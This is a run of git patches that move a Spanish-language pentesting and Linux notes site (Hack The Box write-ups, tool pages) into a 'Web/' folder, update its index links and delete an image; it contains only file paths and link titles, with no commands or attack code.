F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:50:43 +0200 Subject: [PATCH 0754/1701] =?UTF-8?q?Rename=20Linux/Introducci=C3=B3n=5Fa?= =?UTF-8?q?=5FLinux/Bluetoothctl.md=20to=20Web/Linux/Introducci=C3=B3n=5Fa?= =?UTF-8?q?=5FLinux/Bluetoothctl.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename "Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" => "Web/Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" (100%) diff --git "a/Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" "b/Web/Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" similarity index 100% rename from "Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" rename to "Web/Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" From 457ef735e5737a1c7db8187d8342db3f97166745 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:51:23 +0200 Subject: [PATCH 0755/1701] =?UTF-8?q?Rename=20Linux/Introducci=C3=B3n=5Fa?= =?UTF-8?q?=5FLinux/Comandos=5Fb=C3=A1sicos=5FLinux.md=20to=20Web/Linux/In?= =?UTF-8?q?troducci=C3=B3n=5Fa=5FLinux/Comandos=5Fb=C3=A1sicos=5FLinux.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../Introducci\303\263n_a_Linux/Comandos_b\303\241sicos_Linux.md" | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename "Linux/Introducci\303\263n_a_Linux/Comandos_b\303\241sicos_Linux.md" => "Web/Linux/Introducci\303\263n_a_Linux/Comandos_b\303\241sicos_Linux.md" (100%) diff --git "a/Linux/Introducci\303\263n_a_Linux/Comandos_b\303\241sicos_Linux.md" "b/Web/Linux/Introducci\303\263n_a_Linux/Comandos_b\303\241sicos_Linux.md" similarity index 100% rename from "Linux/Introducci\303\263n_a_Linux/Comandos_b\303\241sicos_Linux.md" rename to "Web/Linux/Introducci\303\263n_a_Linux/Comandos_b\303\241sicos_Linux.md" From c8c28c05b4517b3d18742b100bdf7b3dd6085c01 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:51:50 +0200 Subject: [PATCH 0756/1701] =?UTF-8?q?Rename=20Linux/Introducci=C3=B3n=5Fa?= =?UTF-8?q?=5FLinux/find.md=20to=20Web/Linux/Introducci=C3=B3n=5Fa=5FLinux?= =?UTF-8?q?/find.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../find.md" => "Web/Linux/Introducci\303\263n_a_Linux/find.md" | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename "Linux/Introducci\303\263n_a_Linux/find.md" => "Web/Linux/Introducci\303\263n_a_Linux/find.md" (100%) diff --git "a/Linux/Introducci\303\263n_a_Linux/find.md" "b/Web/Linux/Introducci\303\263n_a_Linux/find.md" similarity index 100% rename from "Linux/Introducci\303\263n_a_Linux/find.md" rename to "Web/Linux/Introducci\303\263n_a_Linux/find.md" From 8f025ce5e4ad745a57cd17c56d34523a12b5e41e Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:52:34 +0200 Subject: [PATCH 0757/1701] =?UTF-8?q?Rename=20Linux/Introducci=C3=B3n=5Fa?= =?UTF-8?q?=5FLinux/Introducci=C3=B3n=5Fa=5FLinux.md=20to=20Web/Linux/Intr?= =?UTF-8?q?oducci=C3=B3n=5Fa=5FLinux/Introducci=C3=B3n=5Fa=5FLinux.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../Introducci\303\263n_a_Linux/Introducci\303\263n_a_Linux.md" | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename "Linux/Introducci\303\263n_a_Linux/Introducci\303\263n_a_Linux.md" => "Web/Linux/Introducci\303\263n_a_Linux/Introducci\303\263n_a_Linux.md" (100%) diff --git "a/Linux/Introducci\303\263n_a_Linux/Introducci\303\263n_a_Linux.md" "b/Web/Linux/Introducci\303\263n_a_Linux/Introducci\303\263n_a_Linux.md" similarity index 100% rename from "Linux/Introducci\303\263n_a_Linux/Introducci\303\263n_a_Linux.md" rename to "Web/Linux/Introducci\303\263n_a_Linux/Introducci\303\263n_a_Linux.md" From 4dc5f639ce4f2c3cff4591bf720446f0abc818b6 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:53:19 +0200 Subject: [PATCH 0758/1701] Rename Linux/PowerLevel10k/(root).p10k.zsh to Web/Linux/PowerLevel10k/(root).p10k.zsh --- {Linux => Web/Linux}/PowerLevel10k/(root).p10k.zsh | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename {Linux => Web/Linux}/PowerLevel10k/(root).p10k.zsh (100%) diff --git a/Linux/PowerLevel10k/(root).p10k.zsh b/Web/Linux/PowerLevel10k/(root).p10k.zsh similarity index 100% rename from Linux/PowerLevel10k/(root).p10k.zsh rename to Web/Linux/PowerLevel10k/(root).p10k.zsh From 1868cf481756b108abd2e457bf7a60587e52e98f Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:54:01 +0200 Subject: [PATCH 0759/1701] Rename Linux/Programas_para_Linux/Aria2.md to Web/Linux/Programas_para_Linux/Aria2.md --- {Linux => Web/Linux}/Programas_para_Linux/Aria2.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename {Linux => Web/Linux}/Programas_para_Linux/Aria2.md (100%) diff --git a/Linux/Programas_para_Linux/Aria2.md b/Web/Linux/Programas_para_Linux/Aria2.md similarity index 100% rename from Linux/Programas_para_Linux/Aria2.md rename to Web/Linux/Programas_para_Linux/Aria2.md From db4bcce733a08922a01e50623608eeff07b1b24b Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:54:27 +0200 Subject: [PATCH 0760/1701] Rename Linux/Programas_para_Linux/Ventoy.md to Web/Linux/Programas_para_Linux/Ventoy.md --- {Linux => Web/Linux}/Programas_para_Linux/Ventoy.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename {Linux => Web/Linux}/Programas_para_Linux/Ventoy.md (100%) diff --git a/Linux/Programas_para_Linux/Ventoy.md b/Web/Linux/Programas_para_Linux/Ventoy.md similarity index 100% rename from Linux/Programas_para_Linux/Ventoy.md rename to Web/Linux/Programas_para_Linux/Ventoy.md From e24d559fbc917cf97359745e2c9c2111eecafae2 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:54:49 +0200 Subject: [PATCH 0761/1701] Rename Linux/Programas_para_Linux/Youtube-dl.md to Web/Linux/Programas_para_Linux/Youtube-dl.md --- {Linux => Web/Linux}/Programas_para_Linux/Youtube-dl.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename {Linux => Web/Linux}/Programas_para_Linux/Youtube-dl.md (100%) diff --git a/Linux/Programas_para_Linux/Youtube-dl.md b/Web/Linux/Programas_para_Linux/Youtube-dl.md similarity index 100% rename from Linux/Programas_para_Linux/Youtube-dl.md rename to Web/Linux/Programas_para_Linux/Youtube-dl.md From 8710fdacbbee5632d1d071ecefaf7bb58c126570 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:55:28 +0200 Subject: [PATCH 0762/1701] Rename Linux/ZSH/.zshrc to Web/Linux/ZSH/.zshrc --- {Linux => Web/Linux}/ZSH/.zshrc | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename {Linux => Web/Linux}/ZSH/.zshrc (100%) diff --git a/Linux/ZSH/.zshrc b/Web/Linux/ZSH/.zshrc similarity index 100% rename from Linux/ZSH/.zshrc rename to Web/Linux/ZSH/.zshrc From 83fee2b4a95a87f7680b59da86b3ed45b3396e43 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:55:52 +0200 Subject: [PATCH 0763/1701] Rename Linux/ZSH/Settarget.md to Web/Linux/ZSH/Settarget.md --- {Linux => Web/Linux}/ZSH/Settarget.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename {Linux => Web/Linux}/ZSH/Settarget.md (100%) diff --git a/Linux/ZSH/Settarget.md b/Web/Linux/ZSH/Settarget.md similarity index 100% rename from Linux/ZSH/Settarget.md rename to Web/Linux/ZSH/Settarget.md From 3148f7cd585ef51b0e809612cdc542c7fa332358 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:56:11 +0200 Subject: [PATCH 0764/1701] Rename Linux/ZSH/ZSH.md to Web/Linux/ZSH/ZSH.md --- {Linux => Web/Linux}/ZSH/ZSH.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename {Linux => Web/Linux}/ZSH/ZSH.md (100%) diff --git a/Linux/ZSH/ZSH.md b/Web/Linux/ZSH/ZSH.md similarity index 100% rename from Linux/ZSH/ZSH.md rename to Web/Linux/ZSH/ZSH.md From 9c86ff787b52152a8cf2a6e1b6173381040e2992 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:56:43 +0200 Subject: [PATCH 0765/1701] Rename Linux/GnomeTwitch.md to Web/Linux/GnomeTwitch.md --- {Linux => Web/Linux}/GnomeTwitch.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename {Linux => Web/Linux}/GnomeTwitch.md (100%) diff --git a/Linux/GnomeTwitch.md b/Web/Linux/GnomeTwitch.md similarity index 100% rename from Linux/GnomeTwitch.md rename to Web/Linux/GnomeTwitch.md From c005496d5c7026777a5194fb3f09319850a7220d Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:56:58 +0200 Subject: [PATCH 0766/1701] Rename Linux/Linux.md to Web/Linux/Linux.md --- {Linux => Web/Linux}/Linux.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename {Linux => Web/Linux}/Linux.md (100%) diff --git a/Linux/Linux.md b/Web/Linux/Linux.md similarity index 100% rename from Linux/Linux.md rename to Web/Linux/Linux.md From aa9fbb2adf22e1ebd6e23ed05b1497f959d05d8a Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:57:54 +0200 Subject: [PATCH 0767/1701] Rename Maquinas-HTB/HTB-Blue.md to Web/Maquinas-HTB/HTB-Blue.md --- {Maquinas-HTB => Web/Maquinas-HTB}/HTB-Blue.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename {Maquinas-HTB => Web/Maquinas-HTB}/HTB-Blue.md (100%) diff --git a/Maquinas-HTB/HTB-Blue.md b/Web/Maquinas-HTB/HTB-Blue.md similarity index 100% rename from Maquinas-HTB/HTB-Blue.md rename to Web/Maquinas-HTB/HTB-Blue.md From 4be8c64dc752fec1b2d7dbd67c60357e17eaa799 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:58:11 +0200 Subject: [PATCH 0768/1701] Rename Maquinas-HTB/HTB-Cap.md to Web/Maquinas-HTB/HTB-Cap.md --- {Maquinas-HTB => Web/Maquinas-HTB}/HTB-Cap.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename {Maquinas-HTB => Web/Maquinas-HTB}/HTB-Cap.md (100%) diff --git a/Maquinas-HTB/HTB-Cap.md b/Web/Maquinas-HTB/HTB-Cap.md similarity index 100% rename from Maquinas-HTB/HTB-Cap.md rename to Web/Maquinas-HTB/HTB-Cap.md From caa6d28105d57d770d9844545f5d5dfed4d58213 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:58:26 +0200 Subject: [PATCH 0769/1701] Rename Maquinas-HTB/HTB-Jerry.md to Web/Maquinas-HTB/HTB-Jerry.md --- {Maquinas-HTB => Web/Maquinas-HTB}/HTB-Jerry.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename {Maquinas-HTB => Web/Maquinas-HTB}/HTB-Jerry.md (100%) diff --git a/Maquinas-HTB/HTB-Jerry.md b/Web/Maquinas-HTB/HTB-Jerry.md similarity index 100% rename from Maquinas-HTB/HTB-Jerry.md rename to Web/Maquinas-HTB/HTB-Jerry.md From d2827b324448da8ce7b1cb88939c4545f9e894c8 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:58:47 +0200 Subject: [PATCH 0770/1701] Rename Maquinas-HTB/HTB-Lame.md to Web/Maquinas-HTB/HTB-Lame.md --- {Maquinas-HTB => Web/Maquinas-HTB}/HTB-Lame.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename {Maquinas-HTB => Web/Maquinas-HTB}/HTB-Lame.md (100%) diff --git a/Maquinas-HTB/HTB-Lame.md b/Web/Maquinas-HTB/HTB-Lame.md similarity index 100% rename from Maquinas-HTB/HTB-Lame.md rename to Web/Maquinas-HTB/HTB-Lame.md From 1864a4c4185892c8c7896185437fc6f50b12851b Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:59:07 +0200 Subject: [PATCH 0771/1701] Rename Maquinas-HTB/HTB-Legacy.md to Web/Maquinas-HTB/HTB-Legacy.md --- {Maquinas-HTB => Web/Maquinas-HTB}/HTB-Legacy.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename {Maquinas-HTB => Web/Maquinas-HTB}/HTB-Legacy.md (100%) diff --git a/Maquinas-HTB/HTB-Legacy.md b/Web/Maquinas-HTB/HTB-Legacy.md similarity index 100% rename from Maquinas-HTB/HTB-Legacy.md rename to Web/Maquinas-HTB/HTB-Legacy.md From 93b4cf3ef5ebd7f066e795c635e943744894df66 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:59:25 +0200 Subject: [PATCH 0772/1701] Rename Maquinas-HTB/HTB-SwagShop.md to Web/Maquinas-HTB/HTB-SwagShop.md --- {Maquinas-HTB => Web/Maquinas-HTB}/HTB-SwagShop.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename {Maquinas-HTB => Web/Maquinas-HTB}/HTB-SwagShop.md (100%) diff --git a/Maquinas-HTB/HTB-SwagShop.md b/Web/Maquinas-HTB/HTB-SwagShop.md similarity index 100% rename from Maquinas-HTB/HTB-SwagShop.md rename to Web/Maquinas-HTB/HTB-SwagShop.md From bd06811f7f40707e03bdad5e64dad23f4700473c Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:59:57 +0200 Subject: [PATCH 0773/1701] Rename Maquinas-HTB/Maquinas-HTB.md to Web/Maquinas-HTB/Maquinas-HTB.md --- {Maquinas-HTB => Web/Maquinas-HTB}/Maquinas-HTB.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename {Maquinas-HTB => Web/Maquinas-HTB}/Maquinas-HTB.md (100%) diff --git a/Maquinas-HTB/Maquinas-HTB.md b/Web/Maquinas-HTB/Maquinas-HTB.md similarity index 100% rename from Maquinas-HTB/Maquinas-HTB.md rename to Web/Maquinas-HTB/Maquinas-HTB.md From 4a5463598c2408ac0e3ed58348764df265a81af6 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 01:01:47 +0200 Subject: [PATCH 0774/1701] Rename Starting Point/HTB-Responder.md to Web/Starting Point/HTB-Responder.md --- {Starting Point => Web/Starting Point}/HTB-Responder.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename {Starting Point => Web/Starting Point}/HTB-Responder.md (100%) diff --git a/Starting Point/HTB-Responder.md b/Web/Starting Point/HTB-Responder.md similarity index 100% rename from Starting Point/HTB-Responder.md rename to Web/Starting Point/HTB-Responder.md From fbe04c8370891cb48bad60e2ca7e2f4dd2a6dbed Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 01:02:10 +0200 Subject: [PATCH 0775/1701] Rename Starting Point/HTB-Oopsie.md to Web/Starting Point/HTB-Oopsie.md --- {Starting Point => Web/Starting Point}/HTB-Oopsie.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename {Starting Point => Web/Starting Point}/HTB-Oopsie.md (100%) diff --git a/Starting Point/HTB-Oopsie.md b/Web/Starting Point/HTB-Oopsie.md similarity index 100% rename from Starting Point/HTB-Oopsie.md rename to Web/Starting Point/HTB-Oopsie.md From d175d0ab1e4ad1dc14168a4b7e64b3ac8161b77a Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 01:02:30 +0200 Subject: [PATCH 0776/1701] Rename Starting Point/HTB-Vaccine.md to Web/Starting Point/HTB-Vaccine.md --- {Starting Point => Web/Starting Point}/HTB-Vaccine.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename {Starting Point => Web/Starting Point}/HTB-Vaccine.md (100%) diff --git a/Starting Point/HTB-Vaccine.md b/Web/Starting Point/HTB-Vaccine.md similarity index 100% rename from Starting Point/HTB-Vaccine.md rename to Web/Starting Point/HTB-Vaccine.md From 2ea12caca54ccf94e12987156a3c160fdc992556 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 01:03:14 +0200 Subject: [PATCH 0777/1701] Rename Windows/Administrar_Usuarios_y_Permisos.md to Web/Windows/Administrar_Usuarios_y_Permisos.md --- {Windows => Web/Windows}/Administrar_Usuarios_y_Permisos.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename {Windows => Web/Windows}/Administrar_Usuarios_y_Permisos.md (100%) diff --git a/Windows/Administrar_Usuarios_y_Permisos.md b/Web/Windows/Administrar_Usuarios_y_Permisos.md similarity index 100% rename from Windows/Administrar_Usuarios_y_Permisos.md rename to Web/Windows/Administrar_Usuarios_y_Permisos.md From 609e155da54833098a0f6d70870a4902e9ddc58d Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 01:03:42 +0200 Subject: [PATCH 0778/1701] Rename Windows/Windows.md to Web/Windows/Windows.md --- {Windows => Web/Windows}/Windows.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename {Windows => Web/Windows}/Windows.md (100%) diff --git a/Windows/Windows.md b/Web/Windows/Windows.md similarity index 100% rename from Windows/Windows.md rename to Web/Windows/Windows.md From d8689f0678f1c2158743750120c2d7b099c63fe6 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 01:07:49 +0200 Subject: [PATCH 0779/1701] Update index.md --- index.md | 66 ++++++++++++++++++++++++++++---------------------------- 1 file changed, 33 insertions(+), 33 deletions(-) diff --git a/index.md b/index.md index 979e60a15cf..4bd9fdab5a3 100644 --- a/index.md +++ b/index.md @@ -1,13 +1,13 @@ # Hack The Box -|**Máquinas** |**Starting Points** | -|:-------------------------------------------------|:----------------------------------------------------| -|[HTB-SwagShop](./Maquinas-HTB/HTB-SwagShop.html) |[HTB-Oopsie](./Starting Point/HTB-Oopsie.html) | -|[HTB-Jerry](./Maquinas-HTB/HTB-Jerry.html) |[HTB-Responder](./Starting Point/HTB-Responder.html) | -|[HTB-Lame](./Maquinas-HTB/HTB-Lame.html) |[HTB-Vaccine](./Starting Point/HTB-Vaccine.html) | -|[HTB-Cap](./Maquinas-HTB/HTB-Cap.html) | | -|[HTB-Blue](./Maquinas-HTB/HTB-Blue.html) | | +|**Máquinas** |**Starting Points** | +|:-----------------------------------------------------|:--------------------------------------------------------| +|[HTB-SwagShop](./Web/Maquinas-HTB/HTB-SwagShop.html) |[HTB-Oopsie](./Web/Starting Point/HTB-Oopsie.html) | +|[HTB-Jerry](./Web/Maquinas-HTB/HTB-Jerry.html) |[HTB-Responder](./Web/Starting Point/HTB-Responder.html) | +|[HTB-Lame](./Web/Maquinas-HTB/HTB-Lame.html) |[HTB-Vaccine](./Web/Starting Point/HTB-Vaccine.html) | +|[HTB-Cap](./Web/Maquinas-HTB/HTB-Cap.html) | | +|[HTB-Blue](./Web/Maquinas-HTB/HTB-Blue.html) | | --- @@ -15,17 +15,17 @@ # Artículos -[Linux](./Linux/Linux.html) +[Linux](./Web/Linux/Linux.html) -[Windows](./Windows/Windows.html) +[Windows](./Web/Windows/Windows.html) -[Hack The Box](./Artículos/Artículos-HTB.html) +[Hack The Box](./Web/Articulos/Artículos-HTB.html) -[Bootear USB en Linux con Ventoy](./Linux/Programas_para_Linux/Ventoy.html) +[Bootear USB en Linux con Ventoy](./Web/Linux/Programas_para_Linux/Ventoy.html) -[Instalación de Twitch en Linux mediante Flatpak](./Linux/GnomeTwitch.html) +[Instalación de Twitch en Linux mediante Flatpak](./Web/Linux/GnomeTwitch.html) -[Buffer Overflow](./Artículos/BufferOverflow.html) +[Buffer Overflow](./Web/Articulos/BufferOverflow.html) --- @@ -35,35 +35,35 @@ ## Reporte y reconocimiento: Herramientas útiles para la fase de reconocimiento, como reportes de SO o recopilación de puertos. -1.[Nmap](../Herramientas_y_Scripts/Nmap.html) -2.[WichSystem](./Herramientas_y_Scripts/WichSystem.html) -3.[ExtractPorts](./Herramientas_y_Scripts/ExtractPorts.html) -4.[mkt](./Herramientas_y_Scripts/mkt.html) -5.[SetTarget](./Linux/ZSH/Settarget.html) +1.[Nmap](../Web/Herramientas_y_Scripts/Nmap.html) +2.[WichSystem](./Web/Herramientas_y_Scripts/WichSystem.html) +3.[ExtractPorts](./Web/Herramientas_y_Scripts/ExtractPorts.html) +4.[mkt](./Web/Herramientas_y_Scripts/mkt.html) +5.[SetTarget](./Web/Linux/ZSH/Settarget.html) ## Control remoto de Equipos y Shells Inversas: Programas y herramientas para crear accesos remotos y shells inversas con otros equipos. -[SSH](./Artículos/SSH.html) -[Telnet](./Artículos/Telnet.html) -[php-reverse-shell.php](./Herramientas_y_Scripts/php-reverse-shell.html) -[Tratamiento de la TTY](./Artículos/tratamientoTTY.html) +[SSH](./Web/Articulos/SSH.html) +[Telnet](./Web/Articulos/Telnet.html) +[php-reverse-shell.php](./Web/Herramientas_y_Scripts/php-reverse-shell.html) +[Tratamiento de la TTY](./Web/Articulos/tratamientoTTY.html) Reverse Shell Generator --> [Link](https://www.revshells.com/) ## Hash: Herramientas de reconocimiento y desencriptación de hash. -1.[John the Ripper](./Herramientas_y_Scripts/john_the_ripper.html) -2.[HashID](./Herramientas_y_Scripts/HashId.html) -3.[Hash Identifier](./Herramientas_y_Scripts/Hash-Identifier.html) -4.[HashCat](./Herramientas_y_Scripts/HashCat.html) +1.[John the Ripper](./Web/Herramientas_y_Scripts/john_the_ripper.html) +2.[HashID](./Web/Herramientas_y_Scripts/HashId.html) +3.[Hash Identifier](./Web/Herramientas_y_Scripts/Hash-Identifier.html) +4.[HashCat](./Web/Herramientas_y_Scripts/HashCat.html) ## Codificación: La codificación roceso de conversión de los componentes de un mensaje para que este no sea entendido. Las reglas de transformación entre un sistema y otro van a estar definidas para poder entender el contenido del mensaje. A diferencia del cifrado, la codificación se basa en alterar la semántica del mensaje, lo que está relacionado con el significado del mensaje. -[Base64](./Artículos/base64.html) +[Base64](./Web/Articulos/base64.html) ## Cifrados El cifrado se basa en aplicar un algoritmo que suele utilizar una clave para transformar la estructura y composición de la información que se pretende proteger, de tal @@ -75,13 +75,13 @@ Fuzzing es una técnica de pruebas de software, a menudo automatizado o semiauto aleatorios a las entradas de un programa de ordenador. Entonces se monitorizan las excepciones tales como caídas, aserciones de código erróneas, o para encontrar potenciales filtraciones de memoria. -[Wfuzz](./Herramientas_y_Scripts/Wfuzz.html) +[Wfuzz](./Web/Herramientas_y_Scripts/Wfuzz.html) ## Phishing: Phishing es un término informático que distingue a un conjunto de técnicas que persiguen el engaño a una víctima ganándose su confianza haciéndose pasar por una persona, empresa o servicio de confianza, para manipularla y hacer que realice acciones que no debería realiza. -[Setoolkit](./Herramientas_y_Scripts/Setoolkit.html) +[Setoolkit](./Web/Herramientas_y_Scripts/Setoolkit.html) ## Exploits: @@ -89,17 +89,17 @@ Un exploit es una pieza de software, un fragmento de datos o una secuencia de co un comportamiento no deseado o imprevisto en el software, el hardware o algo electrónico de la computadora. Tal comportamiento frecuentemente incluye cosas como obtener el control de un sistema informático, permitir la escalada de privilegios o un ataque de denegación de servicio. -[SearchSploit](./Herramientas_y_Scripts/searchSploit.html) -[Metasploit](./Herramientas_y_Scripts/Metasploit.html) +[SearchSploit](./Web/Herramientas_y_Scripts/searchSploit.html) +[Metasploit](./Web/Herramientas_y_Scripts/Metasploit.html) ## WordPress: Escaneo de vulnerabilidades en páginas WordPress. -[WPScan](./Herramientas_y_Scripts/WPScan.html) +[WPScan](./Web/Herramientas_y_Scripts/WPScan.html) ## SQL: -[SQLmap](./Herramientas_y_Scripts/SQLmap.html) +[SQLmap](./Web/Herramientas_y_Scripts/SQLmap.html) --- --- From 3d3e7950d10f56c20cc8fd2d12b2f5bad0d734bb Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 01:14:53 +0200 Subject: [PATCH 0780/1701] Delete cb.png --- assets/images/cb.png | Bin 2774 -> 0 bytes 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 assets/images/cb.png diff --git a/assets/images/cb.png b/assets/images/cb.png deleted file mode 100644 index d0cd01d57cbdc361047664e777d315eb4b97cb4f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2774 zcmV;{3Muu8P)Px*OqQ|sUU@t*Go!03k1Tm|;&T#vB>CR&`z-6vwj@R5ZR>N^ z6M5&35W1&@T$56)0)$=##-Y~YL<)T*ggg{#^kL`b@URkpAr55>7KPaAv5;Z|#6+Pz zH+>?s*cU2)bx|%tqryM?bng*3*aVe(o=Q{6548}x&u_hZLnUf^TqD9i{pXiVj`TJZ zBUw`dKyftG9r^o(kwbaOeJLi|2#~6@Ks~TRl5fFNKtSj`JXCwBGBk zldpPs5OQAJ0LaFNlksYg69r%WD1_^r?D zeU zlJbK={AVB6TXr{|!@qKV$U8C>n3lE5Q7y#3;AJ2GR=T4h)da+*>FHS~gR~p?Cxy5Q zd#?>D-Isv(Was9=p4W*H5(6LpW}0l!df=ZiPO0^=P-3u%0Oo?{0`IhIe*R&&LFRWu z4mCJCP+C5O;gKIGoNVDu4utlyPm>XIxRiQx5y7Xy;|0)K?t0z?b{HxA)4#JdXhl5c zfYM5Cglsu*e3og(e*5KbdM~#PFFH}K^dNnmgQ9!vBj7ZT)wuNsFq5pOkY=2-Lk zDKqCS81S9&rU@zK8f6o5`+$mXTO0##FGbVxJK?3oV#dBLQ*JL=aB{ticWEo+eoA=x zh%ydM%snc;t#K~gFor|&Zi3fD`0?%5vpRtmLR)&MR*aSi#O-L;M=x$B!ZU8SeG9Lp z2$t}w9|e@bpE}(;?p$~wGxBVe?~(Csk96RdF8+b}O@tRx-?7>@#msVl9AJiysSXvz z-zrS~2qSzkWFSq0q8A@l$Vz%$8P8{p#M(jg?VqNtIw zM;Tp~o+`xw<6JzX5Nj?Qq2kA7ytX=YcDX|#iDZZ3qop7-U`U8Yc&O2>6)WU|VMvFm zZBcwE9YW()u5pT7sS72%i;qi>P!~XnD_7P?W8c0Vk@3qG>Eh$kBM@IDN4d3J!)|t4 zpEA|u@8U!0QP=0Z^ArpqtBCCvW%yAK{0fl zmuDACMdtX$OfT!%FDGLq|BDWJrgpZMpbJIXa4gQ90kPA|8gv02tbbtBGu0ZVl~p zj=iFcr#cOe*Zbz!Y@5njRy1eBdr-~3aUeBxaAUHpA~aneqN zcYUS;Q=WTU{vm+Q+n-Hh|qlbA>m6 zVNDMbxQT?Bsay7Fu)xDuJch;3tw7xrR^ges9_r%!ZK_E#r%59Y#4{Z}^E+{FM?6;H z4OmvLfJrmYI`319kNy#dYqC;4FO#ydf28omBx;TcGYe?Fl;WR@?w)<4Xvw5s7m5@f zHDyegS>}o);`@m1$*1Ji$lfWuc`C!041bKyh#%`2E&3^n7k5rK_<%>ur%copa|(|q z!wSIz*UZ!vCq1Rq7hJ-q5*GXr?V}$sOg9@#&rqQn9_8=EdzSFHVwiho>M9cnQ=yBu zxWZ)UN*C?n8nS4gRgsQiA^un^pH-Ex9Rq&;=DXlkVHwuigH`3b-Tc)e#EY_AJqBBw zK7u2LSPO!oFWfi_aCr%DjDEbg4}&%LjR&uPZ~-)od#fB4bK%cnX`XuJAh^U;F6FA1 zOH2$)-|gIf2j|AyIKq1`E81Nd^-s^#5I)7f?nebglcFzlrw?8F6L>2ZZ0JK6mOads zI4NzZT&!w%%?{#w5TC)bUOcbXhHnn6tmOS#CpUajElPOX*Au^CHWl+m^lqLlQoL2n 